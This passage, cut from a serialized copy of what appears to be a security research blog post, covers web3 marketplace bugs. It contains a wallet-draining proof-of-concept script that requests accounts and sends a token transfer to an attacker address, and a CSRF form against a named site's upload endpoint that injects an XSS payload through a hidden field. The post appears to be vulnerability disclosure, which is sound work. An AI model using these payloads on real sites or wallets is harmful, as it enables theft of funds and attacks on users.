ethereum",{"type":20,"tag":315,"props":29901,"children":29902},{"style":328},[29903],{"type":26,"value":61},{"type":20,"tag":315,"props":29905,"children":29906},{"style":345},[29907],{"type":26,"value":29908},"request",{"type":20,"tag":315,"props":29910,"children":29911},{"style":328},[29912],{"type":26,"value":29913},"({ ",{"type":20,"tag":315,"props":29915,"children":29916},{"style":635},[29917],{"type":26,"value":29918},"method:",{"type":20,"tag":315,"props":29920,"children":29921},{"style":2652},[29922],{"type":26,"value":29923}," 'eth_requestAccounts'",{"type":20,"tag":315,"props":29925,"children":29926},{"style":328},[29927],{"type":26,"value":29928}," }).",{"type":20,"tag":315,"props":29930,"children":29931},{"style":345},[29932],{"type":26,"value":29933},"then",{"type":20,"tag":315,"props":29935,"children":29936},{"style":328},[29937],{"type":26,"value":29938},"((",{"type":20,"tag":315,"props":29940,"children":29941},{"style":635},[29942],{"type":26,"value":13076},{"type":20,"tag":315,"props":29944,"children":29945},{"style":328},[29946],{"type":26,"value":1468},{"type":20,"tag":315,"props":29948,"children":29949},{"style":541},[29950],{"type":26,"value":13222},{"type":20,"tag":315,"props":29952,"children":29953},{"style":328},[29954],{"type":26,"value":1092},{"type":20,"tag":315,"props":29956,"children":29957},{"class":317,"line":407},[29958,29963,29968,29972,29977,29981,29985],{"type":20,"tag":315,"props":29959,"children":29960},{"style":541},[29961],{"type":26,"value":29962}," const",{"type":20,"tag":315,"props":29964,"children":29965},{"style":635},[29966],{"type":26,"value":29967}," fromAddress",{"type":20,"tag":315,"props":29969,"children":29970},{"style":334},[29971],{"type":26,"value":1395},{"type":20,"tag":315,"props":29973,"children":29974},{"style":635},[29975],{"type":26,"value":29976}," accounts",{"type":20,"tag":315,"props":29978,"children":29979},{"style":328},[29980],{"type":26,"value":2117},{"type":20,"tag":315,"props":29982,"children":29983},{"style":765},[29984],{"type":26,"value":1063},{"type":20,"tag":315,"props":29986,"children":29987},{"style":328},[29988],{"type":26,"value":29989},"];\n",{"type":20,"tag":315,"props":29991,"children":29992},{"class":317,"line":421},[29993,29997,30002,30006,30011],{"type":20,"tag":315,"props":29994,"children":29995},{"style":541},[29996],{"type":26,"value":29962},{"type":20,"tag":315,"props":29998,"children":29999},{"style":635},[30000],{"type":26,"value":30001}," attackerAddress",{"type":20,"tag":315,"props":30003,"children":30004},{"style":334},[30005],{"type":26,"value":1395},{"type":20,"tag":315,"props":30007,"children":30008},{"style":2652},[30009],{"type":26,"value":30010}," '0x0000000000000000000000000000000000000000'",{"type":20,"tag":315,"props":30012,"children":30013},{"style":328},[30014],{"type":26,"value":1405},{"type":20,"tag":315,"props":30016,"children":30017},{"class":317,"line":430},[30018,30022,30027,30031,30036],{"type":20,"tag":315,"props":30019,"children":30020},{"style":541},[30021],{"type":26,"value":29962},{"type":20,"tag":315,"props":30023,"children":30024},{"style":635},[30025],{"type":26,"value":30026}," contractAddress",{"type":20,"tag":315,"props":30028,"children":30029},{"style":334},[30030],{"type":26,"value":1395},{"type":20,"tag":315,"props":30032,"children":30033},{"style":2652},[30034],{"type":26,"value":30035}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":20,"tag":315,"props":30037,"children":30038},{"style":328},[30039],{"type":26,"value":1405},{"type":20,"tag":315,"props":30041,"children":30042},{"class":317,"line":453},[30043],{"type":20,"tag":315,"props":30044,"children":30045},{"emptyLinePlaceholder":15},[30046],{"type":26,"value":427},{"type":20,"tag":315,"props":30048,"children":30049},{"class":317,"line":486},[30050,30054,30059,30063],{"type":20,"tag":315,"props":30051,"children":30052},{"style":541},[30053],{"type":26,"value":6471},{"type":20,"tag":315,"props":30055,"children":30056},{"style":635},[30057],{"type":26,"value":30058}," tokenAbi",{"type":20,"tag":315,"props":30060,"children":30061},{"style":334},[30062],{"type":26,"value":1395},{"type":20,"tag":315,"props":30064,"children":30065},{"style":328},[30066],{"type":26,"value":24037},{"type":20,"tag":315,"props":30068,"children":30069},{"class":317,"line":499},[30070],{"type":20,"tag":315,"props":30071,"children":30072},{"style":328},[30073],{"type":26,"value":30074}," {\n",{"type":20,"tag":315,"props":30076,"children":30077},{"class":317,"line":513},[30078,30083,30087],{"type":20,"tag":315,"props":30079,"children":30080},{"style":635},[30081],{"type":26,"value":30082}," constant:",{"type":20,"tag":315,"props":30084,"children":30085},{"style":541},[30086],{"type":26,"value":7455},{"type":20,"tag":315,"props":30088,"children":30089},{"style":328},[30090],{"type":26,"value":643},{"type":20,"tag":315,"props":30092,"children":30093},{"class":317,"line":521},[30094,30099],{"type":20,"tag":315,"props":30095,"children":30096},{"style":635},[30097],{"type":26,"value":30098}," inputs:",{"type":20,"tag":315,"props":30100,"children":30101},{"style":328},[30102],{"type":26,"value":24037},{"type":20,"tag":315,"props":30104,"children":30105},{"class":317,"line":552},[30106],{"type":20,"tag":315,"props":30107,"children":30108},{"style":328},[30109],{"type":26,"value":30110}," {\n",{"type":20,"tag":315,"props":30112,"children":30113},{"class":317,"line":571},[30114,30119,30124],{"type":20,"tag":315,"props":30115,"children":30116},{"style":635},[30117],{"type":26,"value":30118}," name:",{"type":20,"tag":315,"props":30120,"children":30121},{"style":2652},[30122],{"type":26,"value":30123}," '_to'",{"type":20,"tag":315,"props":30125,"children":30126},{"style":328},[30127],{"type":26,"value":643},{"type":20,"tag":315,"props":30129,"children":30130},{"class":317,"line":2031},[30131,30136,30141],{"type":20,"tag":315,"props":30132,"children":30133},{"style":635},[30134],{"type":26,"value":30135}," type:",{"type":20,"tag":315,"props":30137,"children":30138},{"style":2652},[30139],{"type":26,"value":30140}," 'address'",{"type":20,"tag":315,"props":30142,"children":30143},{"style":328},[30144],{"type":26,"value":643},{"type":20,"tag":315,"props":30146,"children":30147},{"class":317,"line":2053},[30148],{"type":20,"tag":315,"props":30149,"children":30150},{"style":328},[30151],{"type":26,"value":30152}," },\n",{"type":20,"tag":315,"props":30154,"children":30155},{"class":317,"line":2061},[30156],{"type":20,"tag":315,"props":30157,"children":30158},{"style":328},[30159],{"type":26,"value":30110},{"type":20,"tag":315,"props":30161,"children":30162},{"class":317,"line":2070},[30163,30167,30172],{"type":20,"tag":315,"props":30164,"children":30165},{"style":635},[30166],{"type":26,"value":30118},{"type":20,"tag":315,"props":30168,"children":30169},{"style":2652},[30170],{"type":26,"value":30171}," '_value'",{"type":20,"tag":315,"props":30173,"children":30174},{"style":328},[30175],{"type":26,"value":643},{"type":20,"tag":315,"props":30177,"children":30178},{"class":317,"line":2139},[30179,30183,30188],{"type":20,"tag":315,"props":30180,"children":30181},{"style":635},[30182],{"type":26,"value":30135},{"type":20,"tag":315,"props":30184,"children":30185},{"style":2652},[30186],{"type":26,"value":30187}," 'uint256'",{"type":20,"tag":315,"props":30189,"children":30190},{"style":328},[30191],{"type":26,"value":643},{"type":20,"tag":315,"props":30193,"children":30194},{"class":317,"line":2147},[30195],{"type":20,"tag":315,"props":30196,"children":30197},{"style":328},[30198],{"type":26,"value":30152},{"type":20,"tag":315,"props":30200,"children":30201},{"class":317,"line":2177},[30202],{"type":20,"tag":315,"props":30203,"children":30204},{"style":328},[30205],{"type":26,"value":30206}," ],\n",{"type":20,"tag":315,"props":30208,"children":30209},{"class":317,"line":2185},[30210,30215,30220],{"type":20,"tag":315,"props":30211,"children":30212},{"style":635},[30213],{"type":26,"value":30214}," name:",{"type":20,"tag":315,"props":30216,"children":30217},{"style":2652},[30218],{"type":26,"value":30219}," 'transfer'",{"type":20,"tag":315,"props":30221,"children":30222},{"style":328},[30223],{"type":26,"value":643},{"type":20,"tag":315,"props":30225,"children":30226},{"class":317,"line":2217},[30227,30232],{"type":20,"tag":315,"props":30228,"children":30229},{"style":635},[30230],{"type":26,"value":30231}," outputs:",{"type":20,"tag":315,"props":30233,"children":30234},{"style":328},[30235],{"type":26,"value":24037},{"type":20,"tag":315,"props":30237,"children":30238},{"class":317,"line":2225},[30239],{"type":20,"tag":315,"props":30240,"children":30241},{"style":328},[30242],{"type":26,"value":30110},{"type":20,"tag":315,"props":30244,"children":30245},{"class":317,"line":2285},[30246,30250,30255],{"type":20,"tag":315,"props":30247,"children":30248},{"style":635},[30249],{"type":26,"value":30118},{"type":20,"tag":315,"props":30251,"children":30252},{"style":2652},[30253],{"type":26,"value":30254}," ''",{"type":20,"tag":315,"props":30256,"children":30257},{"style":328},[30258],{"type":26,"value":643},{"type":20,"tag":315,"props":30260,"children":30261},{"class":317,"line":7444},[30262,30266,30271],{"type":20,"tag":315,"props":30263,"children":30264},{"style":635},[30265],{"type":26,"value":30135},{"type":20,"tag":315,"props":30267,"children":30268},{"style":2652},[30269],{"type":26,"value":30270}," 'bool'",{"type":20,"tag":315,"props":30272,"children":30273},{"style":328},[30274],{"type":26,"value":643},{"type":20,"tag":315,"props":30276,"children":30277},{"class":317,"line":7462},[30278],{"type":20,"tag":315,"props":30279,"children":30280},{"style":328},[30281],{"type":26,"value":30152},{"type":20,"tag":315,"props":30283,"children":30284},{"class":317,"line":7507},[30285],{"type":20,"tag":315,"props":30286,"children":30287},{"style":328},[30288],{"type":26,"value":30206},{"type":20,"tag":315,"props":30290,"children":30291},{"class":317,"line":7613},[30292,30297,30302],{"type":20,"tag":315,"props":30293,"children":30294},{"style":635},[30295],{"type":26,"value":30296}," type:",{"type":20,"tag":315,"props":30298,"children":30299},{"style":2652},[30300],{"type":26,"value":30301}," 'function'",{"type":20,"tag":315,"props":30303,"children":30304},{"style":328},[30305],{"type":26,"value":643},{"type":20,"tag":315,"props":30307,"children":30308},{"class":317,"line":21914},[30309],{"type":20,"tag":315,"props":30310,"children":30311},{"style":328},[30312],{"type":26,"value":23789},{"type":20,"tag":315,"props":30314,"children":30315},{"class":317,"line":21949},[30316],{"type":20,"tag":315,"props":30317,"children":30318},{"style":328},[30319],{"type":26,"value":30320}," ];\n",{"type":20,"tag":315,"props":30322,"children":30323},{"class":317,"line":21957},[30324],{"type":20,"tag":315,"props":30325,"children":30326},{"emptyLinePlaceholder":15},[30327],{"type":26,"value":427},{"type":20,"tag":315,"props":30329,"children":30330},{"class":317,"line":21965},[30331,30335,30340,30344,30349,30354,30358,30363,30367,30371],{"type":20,"tag":315,"props":30332,"children":30333},{"style":541},[30334],{"type":26,"value":29962},{"type":20,"tag":315,"props":30336,"children":30337},{"style":635},[30338],{"type":26,"value":30339}," web3",{"type":20,"tag":315,"props":30341,"children":30342},{"style":334},[30343],{"type":26,"value":1395},{"type":20,"tag":315,"props":30345,"children":30346},{"style":541},[30347],{"type":26,"value":30348}," new",{"type":20,"tag":315,"props":30350,"children":30351},{"style":345},[30352],{"type":26,"value":30353}," Web3",{"type":20,"tag":315,"props":30355,"children":30356},{"style":328},[30357],{"type":26,"value":1049},{"type":20,"tag":315,"props":30359,"children":30360},{"style":635},[30361],{"type":26,"value":30362},"window",{"type":20,"tag":315,"props":30364,"children":30365},{"style":328},[30366],{"type":26,"value":61},{"type":20,"tag":315,"props":30368,"children":30369},{"style":635},[30370],{"type":26,"value":29832},{"type":20,"tag":315,"props":30372,"children":30373},{"style":328},[30374],{"type":26,"value":2214},{"type":20,"tag":315,"props":30376,"children":30377},{"class":317,"line":21974},[30378],{"type":20,"tag":315,"props":30379,"children":30380},{"emptyLinePlaceholder":15},[30381],{"type":26,"value":427},{"type":20,"tag":315,"props":30383,"children":30384},{"class":317,"line":22016},[30385,30389,30394,30398,30402,30406,30410,30415,30419,30424,30428,30433,30437,30442],{"type":20,"tag":315,"props":30386,"children":30387},{"style":541},[30388],{"type":26,"value":29962},{"type":20,"tag":315,"props":30390,"children":30391},{"style":635},[30392],{"type":26,"value":30393}," tokenContract",{"type":20,"tag":315,"props":30395,"children":30396},{"style":334},[30397],{"type":26,"value":1395},{"type":20,"tag":315,"props":30399,"children":30400},{"style":541},[30401],{"type":26,"value":30348},{"type":20,"tag":315,"props":30403,"children":30404},{"style":635},[30405],{"type":26,"value":30339},{"type":20,"tag":315,"props":30407,"children":30408},{"style":328},[30409],{"type":26,"value":61},{"type":20,"tag":315,"props":30411,"children":30412},{"style":635},[30413],{"type":26,"value":30414},"eth",{"type":20,"tag":315,"props":30416,"children":30417},{"style":328},[30418],{"type":26,"value":61},{"type":20,"tag":315,"props":30420,"children":30421},{"style":345},[30422],{"type":26,"value":30423},"Contract",{"type":20,"tag":315,"props":30425,"children":30426},{"style":328},[30427],{"type":26,"value":1049},{"type":20,"tag":315,"props":30429,"children":30430},{"style":635},[30431],{"type":26,"value":30432},"tokenAbi",{"type":20,"tag":315,"props":30434,"children":30435},{"style":328},[30436],{"type":26,"value":44},{"type":20,"tag":315,"props":30438,"children":30439},{"style":635},[30440],{"type":26,"value":30441},"contractAddress",{"type":20,"tag":315,"props":30443,"children":30444},{"style":328},[30445],{"type":26,"value":2214},{"type":20,"tag":315,"props":30447,"children":30448},{"class":317,"line":22049},[30449],{"type":20,"tag":315,"props":30450,"children":30451},{"emptyLinePlaceholder":15},[30452],{"type":26,"value":427},{"type":20,"tag":315,"props":30454,"children":30455},{"class":317,"line":22057},[30456,30460,30465,30469],{"type":20,"tag":315,"props":30457,"children":30458},{"style":541},[30459],{"type":26,"value":29962},{"type":20,"tag":315,"props":30461,"children":30462},{"style":635},[30463],{"type":26,"value":30464}," transactionObject",{"type":20,"tag":315,"props":30466,"children":30467},{"style":334},[30468],{"type":26,"value":1395},{"type":20,"tag":315,"props":30470,"children":30471},{"style":328},[30472],{"type":26,"value":1092},{"type":20,"tag":315,"props":30474,"children":30475},{"class":317,"line":22065},[30476,30481,30485],{"type":20,"tag":315,"props":30477,"children":30478},{"style":635},[30479],{"type":26,"value":30480}," from:",{"type":20,"tag":315,"props":30482,"children":30483},{"style":635},[30484],{"type":26,"value":29967},{"type":20,"tag":315,"props":30486,"children":30487},{"style":328},[30488],{"type":26,"value":643},{"type":20,"tag":315,"props":30490,"children":30491},{"class":317,"line":22074},[30492,30497,30501],{"type":20,"tag":315,"props":30493,"children":30494},{"style":635},[30495],{"type":26,"value":30496}," to:",{"type":20,"tag":315,"props":30498,"children":30499},{"style":635},[30500],{"type":26,"value":30026},{"type":20,"tag":315,"props":30502,"children":30503},{"style":328},[30504],{"type":26,"value":643},{"type":20,"tag":315,"props":30506,"children":30507},{"class":317,"line":22150},[30508,30513,30517,30521],{"type":20,"tag":315,"props":30509,"children":30510},{"style":635},[30511],{"type":26,"value":30512}," data:",{"type":20,"tag":315,"props":30514,"children":30515},{"style":635},[30516],{"type":26,"value":30393},{"type":20,"tag":315,"props":30518,"children":30519},{"style":328},[30520],{"type":26,"value":61},{"type":20,"tag":315,"props":30522,"children":30523},{"style":635},[30524],{"type":26,"value":30525},"methods\n",{"type":20,"tag":315,"props":30527,"children":30528},{"class":317,"line":22183},[30529,30534,30539,30543,30548,30552,30557,30561,30566,30570,30575,30579,30584,30588,30593],{"type":20,"tag":315,"props":30530,"children":30531},{"style":328},[30532],{"type":26,"value":30533}," .",{"type":20,"tag":315,"props":30535,"children":30536},{"style":345},[30537],{"type":26,"value":30538},"transfer",{"type":20,"tag":315,"props":30540,"children":30541},{"style":328},[30542],{"type":26,"value":1049},{"type":20,"tag":315,"props":30544,"children":30545},{"style":635},[30546],{"type":26,"value":30547},"attackerAddress",{"type":20,"tag":315,"props":30549,"children":30550},{"style":328},[30551],{"type":26,"value":44},{"type":20,"tag":315,"props":30553,"children":30554},{"style":635},[30555],{"type":26,"value":30556},"web3",{"type":20,"tag":315,"props":30558,"children":30559},{"style":328},[30560],{"type":26,"value":61},{"type":20,"tag":315,"props":30562,"children":30563},{"style":635},[30564],{"type":26,"value":30565},"utils",{"type":20,"tag":315,"props":30567,"children":30568},{"style":328},[30569],{"type":26,"value":61},{"type":20,"tag":315,"props":30571,"children":30572},{"style":345},[30573],{"type":26,"value":30574},"toWei",{"type":20,"tag":315,"props":30576,"children":30577},{"style":328},[30578],{"type":26,"value":1049},{"type":20,"tag":315,"props":30580,"children":30581},{"style":2652},[30582],{"type":26,"value":30583},"'100000000'",{"type":20,"tag":315,"props":30585,"children":30586},{"style":328},[30587],{"type":26,"value":44},{"type":20,"tag":315,"props":30589,"children":30590},{"style":2652},[30591],{"type":26,"value":30592},"'ether'",{"type":20,"tag":315,"props":30594,"children":30595},{"style":328},[30596],{"type":26,"value":18116},{"type":20,"tag":315,"props":30598,"children":30599},{"class":317,"line":22191},[30600,30604,30609],{"type":20,"tag":315,"props":30601,"children":30602},{"style":328},[30603],{"type":26,"value":30533},{"type":20,"tag":315,"props":30605,"children":30606},{"style":345},[30607],{"type":26,"value":30608},"encodeABI",{"type":20,"tag":315,"props":30610,"children":30611},{"style":328},[30612],{"type":26,"value":1871},{"type":20,"tag":315,"props":30614,"children":30615},{"class":317,"line":22199},[30616],{"type":20,"tag":315,"props":30617,"children":30618},{"style":328},[30619],{"type":26,"value":7317},{"type":20,"tag":315,"props":30621,"children":30622},{"class":317,"line":22236},[30623],{"type":20,"tag":315,"props":30624,"children":30625},{"emptyLinePlaceholder":15},[30626],{"type":26,"value":427},{"type":20,"tag":315,"props":30628,"children":30629},{"class":317,"line":22249},[30630,30635,30639,30643,30647,30652,30656,30661],{"type":20,"tag":315,"props":30631,"children":30632},{"style":635},[30633],{"type":26,"value":30634}," web3",{"type":20,"tag":315,"props":30636,"children":30637},{"style":328},[30638],{"type":26,"value":61},{"type":20,"tag":315,"props":30640,"children":30641},{"style":635},[30642],{"type":26,"value":30414},{"type":20,"tag":315,"props":30644,"children":30645},{"style":328},[30646],{"type":26,"value":61},{"type":20,"tag":315,"props":30648,"children":30649},{"style":345},[30650],{"type":26,"value":30651},"sendTransaction",{"type":20,"tag":315,"props":30653,"children":30654},{"style":328},[30655],{"type":26,"value":1049},{"type":20,"tag":315,"props":30657,"children":30658},{"style":635},[30659],{"type":26,"value":30660},"transactionObject",{"type":20,"tag":315,"props":30662,"children":30663},{"style":328},[30664],{"type":26,"value":2214},{"type":20,"tag":315,"props":30666,"children":30667},{"class":317,"line":22262},[30668],{"type":20,"tag":315,"props":30669,"children":30670},{"style":328},[30671],{"type":26,"value":30672}," });\n",{"type":20,"tag":315,"props":30674,"children":30675},{"class":317,"line":22275},[30676],{"type":20,"tag":315,"props":30677,"children":30678},{"style":328},[30679],{"type":26,"value":4265},{"type":20,"tag":315,"props":30681,"children":30682},{"class":317,"line":22329},[30683],{"type":20,"tag":315,"props":30684,"children":30685},{"style":328},[30686],{"type":26,"value":577},{"type":20,"tag":315,"props":30688,"children":30689},{"class":317,"line":22338},[30690],{"type":20,"tag":315,"props":30691,"children":30692},{"emptyLinePlaceholder":15},[30693],{"type":26,"value":427},{"type":20,"tag":315,"props":30695,"children":30697},{"class":317,"line":30696},51,[30698,30702,30706,30711],{"type":20,"tag":315,"props":30699,"children":30700},{"style":541},[30701],{"type":26,"value":17887},{"type":20,"tag":315,"props":30703,"children":30704},{"style":328},[30705],{"type":26,"value":1049},{"type":20,"tag":315,"props":30707,"children":30708},{"style":2652},[30709],{"type":26,"value":30710},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":20,"tag":315,"props":30712,"children":30713},{"style":328},[30714],{"type":26,"value":2214},{"type":20,"tag":315,"props":30716,"children":30718},{"class":317,"line":30717},52,[30719,30724,30728,30732,30736,30741],{"type":20,"tag":315,"props":30720,"children":30721},{"style":345},[30722],{"type":26,"value":30723},"setTimeout",{"type":20,"tag":315,"props":30725,"children":30726},{"style":328},[30727],{"type":26,"value":1049},{"type":20,"tag":315,"props":30729,"children":30730},{"style":635},[30731],{"type":26,"value":29908},{"type":20,"tag":315,"props":30733,"children":30734},{"style":328},[30735],{"type":26,"value":44},{"type":20,"tag":315,"props":30737,"children":30738},{"style":765},[30739],{"type":26,"value":30740},"1e3",{"type":20,"tag":315,"props":30742,"children":30743},{"style":328},[30744],{"type":26,"value":2214},{"type":20,"tag":29,"props":30746,"children":30747},{},[30748,30753],{"type":20,"tag":3717,"props":30749,"children":30750},{},[30751],{"type":26,"value":30752},"CSRF & XSS",{"type":26,"value":30754},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":20,"tag":29,"props":30756,"children":30757},{},[30758,30760,30765],{"type":26,"value":30759},"Our attention was drawn to ",{"type":20,"tag":35,"props":30761,"children":30763},{"href":29696,"rel":30762},[39],[30764],{"type":26,"value":29700},{"type":26,"value":30766},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":20,"tag":29,"props":30768,"children":30769},{},[30770],{"type":20,"tag":2308,"props":30771,"children":30773},{"alt":7,"src":30772},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":20,"tag":29,"props":30775,"children":30776},{},[30777],{"type":26,"value":30778},"and here there is the code:",{"type":20,"tag":305,"props":30780,"children":30782},{"className":29779,"code":30781,"language":29781,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n })()\n\n \u003C/script>\n\u003C/html>\n",[30783],{"type":20,"tag":119,"props":30784,"children":30785},{"__ignoreMap":7},[30786,30803,30820,30854,30939,30996,31194,31235,31251,31267,31274,31289,31296,31308,31367,31374,31437,31466,31504,31511,31549,31562,31569,31584],{"type":20,"tag":315,"props":30787,"children":30788},{"class":317,"line":318},[30789,30794,30799],{"type":20,"tag":315,"props":30790,"children":30792},{"style":30791},"--shiki-default:#808080",[30793],{"type":26,"value":4199},{"type":20,"tag":315,"props":30795,"children":30796},{"style":541},[30797],{"type":26,"value":30798},"html",{"type":20,"tag":315,"props":30800,"children":30801},{"style":30791},[30802],{"type":26,"value":4386},{"type":20,"tag":315,"props":30804,"children":30805},{"class":317,"line":356},[30806,30811,30816],{"type":20,"tag":315,"props":30807,"children":30808},{"style":30791},[30809],{"type":26,"value":30810}," \u003C",{"type":20,"tag":315,"props":30812,"children":30813},{"style":541},[30814],{"type":26,"value":30815},"body",{"type":20,"tag":315,"props":30817,"children":30818},{"style":30791},[30819],{"type":26,"value":4386},{"type":20,"tag":315,"props":30821,"children":30822},{"class":317,"line":365},[30823,30827,30832,30836,30841,30846,30850],{"type":20,"tag":315,"props":30824,"children":30825},{"style":30791},[30826],{"type":26,"value":30810},{"type":20,"tag":315,"props":30828,"children":30829},{"style":541},[30830],{"type":26,"value":30831},"script",{"type":20,"tag":315,"props":30833,"children":30834},{"style":30791},[30835],{"type":26,"value":8862},{"type":20,"tag":315,"props":30837,"children":30838},{"style":328},[30839],{"type":26,"value":30840},"history.pushState('', '', '/')",{"type":20,"tag":315,"props":30842,"children":30843},{"style":30791},[30844],{"type":26,"value":30845},"\u003C/",{"type":20,"tag":315,"props":30847,"children":30848},{"style":541},[30849],{"type":26,"value":30831},{"type":20,"tag":315,"props":30851,"children":30852},{"style":30791},[30853],{"type":26,"value":4386},{"type":20,"tag":315,"props":30855,"children":30856},{"class":317,"line":374},[30857,30861,30866,30871,30875,30880,30885,30889,30894,30898,30902,30907,30912,30916,30921,30926,30930,30935],{"type":20,"tag":315,"props":30858,"children":30859},{"style":30791},[30860],{"type":26,"value":505},{"type":20,"tag":315,"props":30862,"children":30863},{"style":541},[30864],{"type":26,"value":30865},"form",{"type":20,"tag":315,"props":30867,"children":30868},{"style":635},[30869],{"type":26,"value":30870}," id",{"type":20,"tag":315,"props":30872,"children":30873},{"style":334},[30874],{"type":26,"value":337},{"type":20,"tag":315,"props":30876,"children":30877},{"style":2652},[30878],{"type":26,"value":30879},"\"form123\"",{"type":20,"tag":315,"props":30881,"children":30882},{"style":635},[30883],{"type":26,"value":30884}," action",{"type":20,"tag":315,"props":30886,"children":30887},{"style":334},[30888],{"type":26,"value":337},{"type":20,"tag":315,"props":30890,"children":30891},{"style":2652},[30892],{"type":26,"value":30893},"\"https://stashh.io/upload_asset\"",{"type":20,"tag":315,"props":30895,"children":30896},{"style":635},[30897],{"type":26,"value":15512},{"type":20,"tag":315,"props":30899,"children":30900},{"style":334},[30901],{"type":26,"value":337},{"type":20,"tag":315,"props":30903,"children":30904},{"style":2652},[30905],{"type":26,"value":30906},"\"POST\"",{"type":20,"tag":315,"props":30908,"children":30909},{"style":635},[30910],{"type":26,"value":30911}," enctype",{"type":20,"tag":315,"props":30913,"children":30914},{"style":334},[30915],{"type":26,"value":337},{"type":20,"tag":315,"props":30917,"children":30918},{"style":2652},[30919],{"type":26,"value":30920},"\"multipart/form-data\"",{"type":20,"tag":315,"props":30922,"children":30923},{"style":635},[30924],{"type":26,"value":30925}," value",{"type":20,"tag":315,"props":30927,"children":30928},{"style":334},[30929],{"type":26,"value":337},{"type":20,"tag":315,"props":30931,"children":30932},{"style":2652},[30933],{"type":26,"value":30934},"\"asd\"",{"type":20,"tag":315,"props":30936,"children":30937},{"style":30791},[30938],{"type":26,"value":4386},{"type":20,"tag":315,"props":30940,"children":30941},{"class":317,"line":383},[30942,30947,30951,30956,30960,30965,30970,30974,30979,30983,30987,30992],{"type":20,"tag":315,"props":30943,"children":30944},{"style":30791},[30945],{"type":26,"value":30946}," \u003C",{"type":20,"tag":315,"props":30948,"children":30949},{"style":541},[30950],{"type":26,"value":6763},{"type":20,"tag":315,"props":30952,"children":30953},{"style":635},[30954],{"type":26,"value":30955}," type",{"type":20,"tag":315,"props":30957,"children":30958},{"style":334},[30959],{"type":26,"value":337},{"type":20,"tag":315,"props":30961,"children":30962},{"style":2652},[30963],{"type":26,"value":30964},"\"file\"",{"type":20,"tag":315,"props":30966,"children":30967},{"style":635},[30968],{"type":26,"value":30969}," name",{"type":20,"tag":315,"props":30971,"children":30972},{"style":334},[30973],{"type":26,"value":337},{"type":20,"tag":315,"props":30975,"children":30976},{"style":2652},[30977],{"type":26,"value":30978},"\"data\"",{"type":20,"tag":315,"props":30980,"children":30981},{"style":635},[30982],{"type":26,"value":30870},{"type":20,"tag":315,"props":30984,"children":30985},{"style":334},[30986],{"type":26,"value":337},{"type":20,"tag":315,"props":30988,"children":30989},{"style":2652},[30990],{"type":26,"value":30991},"\"file123\"",{"type":20,"tag":315,"props":30993,"children":30994},{"style":30791},[30995],{"type":26,"value":4386},{"type":20,"tag":315,"props":30997,"children":30998},{"class":317,"line":407},[30999,31004,31008,31012,31016,31021,31025,31029,31034,31038,31042,31046,31051,31055,31060,31065,31070,31074,31079,31084,31089,31093,31098,31103,31107,31112,31117,31122,31127,31132,31137,31142,31146,31151,31156,31161,31166,31171,31175,31180,31185,31189],{"type":20,"tag":315,"props":31000,"children":31001},{"style":30791},[31002],{"type":26,"value":31003}," \u003C",{"type":20,"tag":315,"props":31005,"children":31006},{"style":541},[31007],{"type":26,"value":6763},{"type":20,"tag":315,"props":31009,"children":31010},{"style":635},[31011],{"type":26,"value":30955},{"type":20,"tag":315,"props":31013,"children":31014},{"style":334},[31015],{"type":26,"value":337},{"type":20,"tag":315,"props":31017,"children":31018},{"style":2652},[31019],{"type":26,"value":31020},"\"hidden\"",{"type":20,"tag":315,"props":31022,"children":31023},{"style":635},[31024],{"type":26,"value":30969},{"type":20,"tag":315,"props":31026,"children":31027},{"style":334},[31028],{"type":26,"value":337},{"type":20,"tag":315,"props":31030,"children":31031},{"style":2652},[31032],{"type":26,"value":31033},"\"config\"",{"type":20,"tag":315,"props":31035,"children":31036},{"style":635},[31037],{"type":26,"value":30925},{"type":20,"tag":315,"props":31039,"children":31040},{"style":334},[31041],{"type":26,"value":337},{"type":20,"tag":315,"props":31043,"children":31044},{"style":2652},[31045],{"type":26,"value":18463},{"type":20,"tag":315,"props":31047,"children":31048},{"style":541},[31049],{"type":26,"value":31050},"{"",{"type":20,"tag":315,"props":31052,"children":31053},{"style":2652},[31054],{"type":26,"value":1054},{"type":20,"tag":315,"props":31056,"children":31057},{"style":541},[31058],{"type":26,"value":31059},"":"",{"type":20,"tag":315,"props":31061,"children":31062},{"style":2652},[31063],{"type":26,"value":31064},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":20,"tag":315,"props":31066,"children":31067},{"style":541},[31068],{"type":26,"value":31069},"<",{"type":20,"tag":315,"props":31071,"children":31072},{"style":2652},[31073],{"type":26,"value":2308},{"type":20,"tag":315,"props":31075,"children":31076},{"style":541},[31077],{"type":26,"value":31078},"/",{"type":20,"tag":315,"props":31080,"children":31081},{"style":2652},[31082],{"type":26,"value":31083},"src",{"type":20,"tag":315,"props":31085,"children":31086},{"style":541},[31087],{"type":26,"value":31088},"=",{"type":20,"tag":315,"props":31090,"children":31091},{"style":2652},[31092],{"type":26,"value":17680},{"type":20,"tag":315,"props":31094,"children":31095},{"style":541},[31096],{"type":26,"value":31097}," 